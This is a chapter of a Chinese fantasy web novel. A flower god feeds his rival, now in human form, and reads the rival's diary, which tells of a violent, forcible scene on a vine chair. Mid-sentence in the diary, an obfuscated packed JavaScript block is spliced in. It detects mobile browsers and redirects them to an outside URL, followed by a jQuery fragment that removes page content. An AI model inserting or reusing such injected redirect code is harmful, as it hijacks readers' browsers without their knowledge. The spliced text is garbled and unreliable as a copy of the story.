8. 藤椅

作品:《考古挖出死对头的日记后

    175.话语未落,床上的巨型被子团默默咕哝了好几下。


    梁宴钻出个头,冲他道:“兰?”


    声音低沉、尾音沙哑。


    “打住,”兰祈不得不接受现实,扶着头道,“我说过你再不好好说话就给我滚出去。”


    176.中午十二点,阳台的茉莉开得一朵赛一朵地好。


    水是只能等傍晚再浇了,兰祈从厨房回来,郑重地把一不锈钢盆装的猫粮放到梁宴面前。


    神明瞥他一眼,道:“吃吧。”


    梁宴拿起和盆相比简直袖珍地过了分的陶瓷勺,偷偷往对面摆的外卖袋子伸手。


    虽然看不懂上面写的什么,但似乎很好吃。


    “别想了。”


    在客厅空调打开运行的背景音里,兰祈的警告轻飘飘传来。


    “在家里猫粮吃完之前,你都吃这个。”


    177.梁宴往嘴里飞快塞了口冻干,嚼得嘎嘣脆:“。”


    “你现在能说多少人话,”兰祈端着冷萃的茶过来,迫切需要点冰的东西清醒脑子,“知道你突然变回人形是什么原因吗?”


    夏天的玻璃茶具将内部透得一清二楚,满壶冰块晶莹剔透,逐渐被龙井叶慢慢染上淡淡的茶绿色。


    “猫喝不了,你还想要命就别看了。”


    “……”


    “别说你不是猫。”


    178.梁宴老实地垂下眼:“我也不知道是怎么变回来的。”


    一觉睡醒就后莫名其妙地躺在兰的床上,猫也不用当了。


    兰祈晃着磨砂玻璃杯里的圆冰球,沉思:“这样吗?”


    梁宴现在应该算灵体。


    天道有意扶持科技发展,五百多年前搞完那次万灵伏诛后,活下来的妖魔鬼怪大多藏匿行踪、不问世事。


    灵体就更少了,貌似官方记载的就剩一个,还终年昏迷不醒。


    兰祈想寻个这方面经验多的问问都找不到。


    神明想了一圈,决定自己查:“那你当时有感觉到什么奇怪的动静吗?”


    179.梁宴面前的猫粮已经被他扫了一半。


    “我昨晚梦见了首诗,”死对头努力回忆,了然道,“什么兰什么草的。”


    没文化的话其实可以不说。


    兰祈:“。”


    这句话的信息量几乎为零。


    神明挣扎:“除了诗还有吗?”


    180.梁宴嚼吧嚼吧猫粮。


    他记忆有损,前尘往事一概没记住,但若硬要拨开迷雾探寻,能勉强捕捉到点来路不明的碎片。


    花草尽枯,神纹盖天,法则破碎,万箭穿心什么的。


    没一件开心事,他索性就不爱想,


    胡桃木桌对面,青年安安静静地坐着,神色迷茫:“我能感觉到,那诗应该是我写的……”


    星光与云雾织成的雪白薄纱里有点点银色闪烁。


    “我哭着写完那首诗,然后我就躺下睡了,等睡醒,我就在墓室里飘了好久好久,等到了兰来开门。”


    181.梁宴认真道:“兰的神力里有兰花的味道,我不会认错。”


    那真是谢谢你精准碰瓷了。


    兰祈抹把并不存在的眼泪,默默给他开了个进口纯肉罐头加餐:“还有吗,别煽情。”


    正经没几秒的死对头蠢猫上身,欢呼一声,快乐地把罐头和猫粮搞成了团糊糊。


    神明看着他脏兮兮的碗,将实木圆角茶盘往自己面前又带了带。


    旁边勉强充了一半电的平板被双白皙修长的玉手拿起,兰祈皱眉,开始飞快地滑动相册:


    指望个傻子干嘛。


    还是看看他的日记里有没有真东西吧……


    182.“我在兰的神殿里住了下来。


    或者也可以说是囚禁。


    坦白说,那段日子并不难熬,甚至我都愿意夸他一句滋润。


    兰的宫殿里生长着世界上所有的植物,得天地之雨露修行,一天可以顶外面十年。


    神明平时不怎么搭理他们,以至于我来了后,差点没被花草们欺软怕硬的热情淹没。


    今天给那位挪去见不到仇人的地方,明天给这位松松土掰掰老叶。


    把这群祖宗伺候好了,他们就会赏我点结出来的果子填肚子。


    而这宫殿里最大的那位祖宗每天行踪莫测不见影踪,只会在天轨要正经过神殿最上空时,在门口占一个时辰的卜。


    雷打不动,每次都占不出结果。”


    183.“我俩就这么还算相安无事地过了第一个月。


    月末,兰又一次占卜失败的时候,我实在没忍住,搬着捧茉莉花假装不经意从门口路过,问他:


    兰,你每天占卜,是要算什么?


    兰淡淡地扭过头,眼眸中的凋零之景已经隐隐扩散了大半。


    这个吗,因为我的本该死在你抓住我羽毛的祭祀日,而我却活了下来,命运混乱无法推演。神明淡淡地笑着回答我:


    所以我在算你的命运。


    笑意不见底,就如同看似柔弱的花草可轻而易举地以卵击石。”


    184.“我差不多能猜到兰的意图。


    既然天道将我认定为他的天命之人,从我的命格出发,肯定能找到一些关于他的蛛丝马迹。


    可他一个月都算不出来的话……


    这种结果会多复杂多恐怖?


    其实算出来了点不一样的东西。


    兰似乎是看出了我心中所想,反问道:


    但对你不是个好消息,要听吗?”


    189.“这人就是算好的。


    听,当然听。我扯扯嘴角,满不在乎道:


    你敢说我就敢听。


    手心里的茉莉花一心向主,谈话间用根狠狠抽了我好几下。”


    190.“天道推衍的内容已经被你我彻底搅乱了。


    兰摸摸伸过来讨贴的藤蔓叶,编在雪发里的纯金宝石蝴蝶折出碧绿的火彩。


    现下祂正极力计算还在修改变更的内容,大概预言到了俩周后。


    那幅画面刚好就是你怎么死的。”


    191.“哇塞。


    三句话叫茉莉花都不忍心揍我了。


    是吗。我平静地开口:


    死地好看吗?哪几个神动的手啊,我提前试试疼不疼。


    兰罕见地噎了一下。


    他狐疑地盯着我看了许久,终于是确认这个弑神者还没被神殿里的花草欺负傻。


    不好看。兰无奈:


    别提前试了,那样的死法前无古人,后面估计也不会有来者。”


    192.“我无所谓地把茉莉花放下:


    那我死得还挺有面。


    藤蔓在后头捣鼓扭曲身子,贴心地为兰编制出用各色鲜花编制的藤椅。


    神明后退几步坐上去,原本被白纱遮掩的脚腕悬在空中,露出一圈云母做的雪原


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16007411|178359||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    莲花环。


    那你呢。我盯着他脚踝那和雪差不多的肤色,走了一步。


    我坏笑着问他:


    你在我的未来里看到你了吗?神明大人。


    是你杀死了我吗?”


    193.“你要干什么?兰警觉地抬起头。


    可是好像太迟了?


    我抓住了兰晃来晃去的脚踝,单手撑在他的腰窝一侧。


    不干什么。我答:


    神明大人,既然我俩周后才会死,是不是代表天命的庇佑现在还落在我身上?


    不管是出于什么原因,你现在都动不了我。


    兰的身子摸起来像一尊温润的白玉,只要指腹漫不经心地擦过,就能掀起轻微的颤抖。


    可能是因为从来没人敢如此冒犯神明吧。


    想到这,我更压下了点身子,低声对他道:


    哪怕我现在对你下手,应该也可以?


    毕竟我是你的天命。”


    194.“雪色长发和星云纱衣铺满了本就只能承受单人的藤椅。


    梁宴。兰的腰腹绷紧了。


    他的右手虚虚拦在我胸口,还烙在心脏上的金纹诅咒开始疯狂发烫。


    压力上涌。


    你大可以试试。


    睫羽扑闪,从我的高度和距离看下去,能清楚地捕捉到神力如何在他的眼眸里盘旋凝聚。


    要是我死了,你也别想活到俩周后。


    世人称赞其单纯美好的花草之神捏着我的心脏,哪怕是威胁的模样都可以画入华美的壁画。”


    195.“我无所谓啊。


    心脏上的压迫感越来越重。


    我舔了舔唇,对着身下人好笑道:


    大不了就鱼死网破。


    反正我们这种凡人的命最不值钱了。”


    196.“兰的纱衣被我的动作扯到了肩头,入目通片白皙无暇。


    他这衣服做的时候估计也考虑了美观和装饰,各处系带金扣松松垮垮,受不了什么特别大的动作。


    而我被神明逼着使劲,恨不得对着兰的喉咙咬下一块带血的肉。


    如同草原的狼咬断羔羊的脖颈。”


    197.“我单腿跪在兰的面前,分出一只手将兰要踹我下去的大腿掰得更开。


    梁宴,你……


    兰的声音被我的动作堵住了。


    花草的神明被我强硬地压在身下,迫于天道的天命箴言,神力凋零到连推开我的动作都做不到,只得扭着腰强行逼迫我改变撕咬的位置。


    他眼尾似乎都泛了颜色。


    从喉结到锁骨。


    一路都是鲜艳的红痕和牙印。”


    198.“兰的锁骨真得被我咬出了血。


    神力顺着我的食道滑下,带得本躁动不以的诅咒在血肉里延伸重叠。


    心脏已经被压到极限,熟悉的模糊与幻觉卷土重来,比在水神手底下接受凌辱快了不知多少。


    我就说吧,兰的强大和他的美貌完全成正比。


    眼前都是白皙的皮肉和璀璨的花朵宝石,我发疯似地咬着兰,同时也被他不断地反杀。


    这是个双输的对峙,继续下去的结果就是两败俱伤。


    可没人停下。


    或许天道的预言又出错了,浓郁的兰花香充斥我的鼻腔。


    我想:


    我们应该互为天命的,死最后都死一块去。”


    ”


    ”